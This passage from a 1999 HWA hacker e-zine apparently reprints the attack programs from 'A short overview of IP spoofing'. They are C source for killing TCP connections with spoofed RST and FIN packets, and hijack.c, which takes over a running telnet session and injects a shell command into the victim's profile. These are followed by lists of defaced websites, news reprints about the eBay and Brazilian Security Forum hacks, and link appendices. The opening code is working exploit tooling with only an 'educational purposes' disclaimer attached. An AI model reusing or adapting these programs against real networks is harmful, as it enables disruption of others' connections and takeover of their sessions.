/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;
void main(int argc, char *argv[])
{
int i,stat,j;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;
if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}
/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);
/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
printf("Trying to terminate the connection\n");
for(i=1;i<=100;i++)
{
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=0;
j=0;
/* Sending our fake Packet */
/* for(j=0;j<10;j++) This would be better */
/* { */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq+j,sp_ack,RST);
/* } */
/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
if(stat<0)
{
printf("Connection 5 secs idle or dead...\n");
exit(0);
}
}
printf("I did not succeed in killing it.\n");
}
------------------------------------------------------------------------------
---=[ sniper-fin.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-fin - Example program on connection killing with IP spoofing */
/* using the FIN flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-fin sniper-fin.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h"
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;
void main(int argc, char *argv[])
{
int i,stat;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;
if(argc != 5)
{
printf("usage: %s host1 port1 host2 port2\n",argv[0]);
exit(0);
}
/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);
/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
for(i=1;i<100;i++)
{
printf("Attack Sequence %d.\n",i);
/* Waiting for a packet containing an ACK */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
/* Sending our fake Packet */
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
/* waiting for confirmation */
stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{
printf("Killed the connection...\n");
exit(0);
}
printf("Hmmmm.... no response detected... (retry)\n");
}
printf("I did not succeed in killing it.\n");
}
------------------------------------------------------------------------------
---=[ hijack.c ]=-------------------------------------------------------------
/**************************************************************************/
/* Hijack - Example program on connection hijacking with IP spoofing */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - taking control of a running telnet session, and executing */
/* our own command in that shell. */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o hijack hijack.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h" /* My spoofing include.... read licence on this */
/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */
#define PERSONAL_TOUCH 666
int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;
void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;
/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";
if(argc!=4)
{
printf("Usage: %s client client_port server\n",argv[0]);
exit(1);
}
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);
/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */
printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");
for(j=0;j<50;j++)
{
printf("\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf(" Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf(" Waiting for spoof to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 1 unsuccesfully ended.\n");}
else {printf("Phase 1 ended.\n"); break;};
};
printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");
printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf(" Waiting for evil data to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");
}
(c)1999 http://www.real-secure.org/
@HWA
H.W Hacked websites March19th-March27th
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Note: The hacked site reports stay, especially with some cool hits by
groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
* Hackers Against Racist Propaganda (See issue #7)
For the most part these sites are gleaned from the rumours section of HNN
unless otherwise noted and are just that, unconfirmed rumours...
Here's a couple I missed last issue/earlier issues;
http://www.goodyear.com - via irc (unconf.)
And;
Date: Fri, 19 Mar 1999 13:19:36 -0700 (MST)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@repsec.com>
Subject: [ISN] Going once, going twice... HACKED!
Message-ID: <Pine.SUN.3.96.990319131914.8313m-100000@flatland.dimensional.com>
Sender: owner-isn@repsec.com
Reply-To: mea culpa <jericho@dimensional.com>
Going once, going twice... HACKED!
By Adam L. Penenberg
eBay, the hot one-to-one auction site, was hacked on Saturday by a 22-year
old college student who goes by the handle MagicFX. But the story doesn't
end there. The hacker maintains access to the site and can return at will.
He has 'root' access to eBay's computers, the same kind the legitimate
administrators enjoy. This means he could change prices or place fake ads,
divert traffic to other sites or even take down the entire network.
This was starkly illustrated to this reporter on Wednesday night, when the
hacker, to prove his point, took down eBay's home page for two minutes and
replaced it with the message:
"by MagicFX
"That you can't always trust people - not even huge companies. (who woulda
known that?)
"It's 9:30 PM do you know who has your credit card information?"
(Check out the rest at http://www.forbes.com/tool/html/99/mar/0319/side1.htm)
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
To: InfoSec News <isn@repsec.com>
Subject: [ISN] Subject: Brazilian Security Forum'99 is hacked
Forwarded From: c0nd0r <root@sekure.org>
[March 12, Sao Paulo, Brazil]
The largest security meeting in the South America was hacked by brazilian
group called "Brazilian r00ts".
They took control the event's web site, which was located at
http://www.mantel.com.br/eventos/security. The Security Forum'99 is the
most important event on information security in the South America and its
main purpose was discuss vulnerabilities and ways to defeat break-ins.
One of the most important guests was Christopher Klaus from ISS, as well
as people from Axent.
The company responsible for the organization of the event, Mantel, was
also hacked (www.mantel.com.br).
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
March 24th
From HNN rumours section;
Kipling cracked
contributed by cluebie
I was really trying to ignore this whole mess. First a
Belgium garment manufacturer makes extremely
disparaging remarks about hackers on its web site. Then
it looks like someone may have defaced their web page,
then Leander Kahney of Wired Online writes a story
about it all that totally screws up the words hacker and
cracker. I am kind of surprised that the defaced page
has still not been fixed 12 hours later. This whole mess
just reeks of marketing.
contributed by Anonymous
http://www.cablevision.com.ve/
http://www.des-con-systems.com/
contributed by Anonymous
Cracked/From HNN Rumours section March 22nd
http://www.hackernews.com/
Looks like some people have been rather busy this
weekend. This is just a few of the sites which where
reported to us as being compromised.
http://www.peoplescourt.com
http://www.menura.com
http://www.thetargetgroup.com
http://www.asma-homehealth.com/
http://www.vasodeleche.com/
http://www.home-listings.com/
http://www.cddhcu.gob.mx/
http://www.servnet.com.mx
http://www.hallpasstv.com
http://www.tocca.com
http://www.varsitysoft.com
http://www.ashlin.com
http://www.superstation.net
http://www.bhicorp.com
http://www.graydonamerica.com
http://www.fusive.com
http://www.esiglobal.com
http://www.q-time.com
http://www.colco.net
http://www.frasersfur.com
http://www.opf-jamaica.org
http://www.webplaza.net
From HNN rumours section, March 23rd:
http://www.cortroninc.com
@HWA
_________________________________________________________________________
A.0 APPENDICES
_________________________________________________________________________
A.1 PHACVW, sekurity, security, cyberwar links
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The links are no longer maintained in this file, there is now a
links section on the http://welcome.to/HWA.hax0r.news/ url so check
there for current links etc.
The hack FAQ (The #hack/alt.2600 faq)
http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
Hacker's Jargon File (The quote file)
http://www.lysator.liu.se/hackdict/split2/main_index.html
Featured site:
http://www.real-secure.org/ ...... Interesting site check it out, nice
layout, cool format, cool info.
International links:(TBC)
~~~~~~~~~~~~~~~~~~~~~~~~~
Foreign correspondants and others please send in news site links that
have security news from foreign countries for inclusion in this list
thanks... - Ed
Belgium.......: http://bewoner.dma.be/cum/
Brasil........: http://www.psynet.net/ka0z
http://www.elementais.cjb.net
Columbia......: http://www.cascabel.8m.com
http://www.intrusos.cjb.net
Indonesia.....: http://www.k-elektronik.org/index2.html
http://members.xoom.com/neblonica/
http://hackerlink.or.id/
Netherlands...: http://security.pine.nl/
Russia........: http://www.tsu.ru/~eugene/
Singapore.....: http://www.icepoint.com
Got a link for this section? email it to hwa@press.usmc.net and i'll
review it and post it here if it merits it.
@HWA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
© 1998, 1999 (c) Cruciphux/HWA.hax0r.news
(r) Cruciphux is a trade mark of Hoary Wild Arachnids Inc.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
[45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65] 
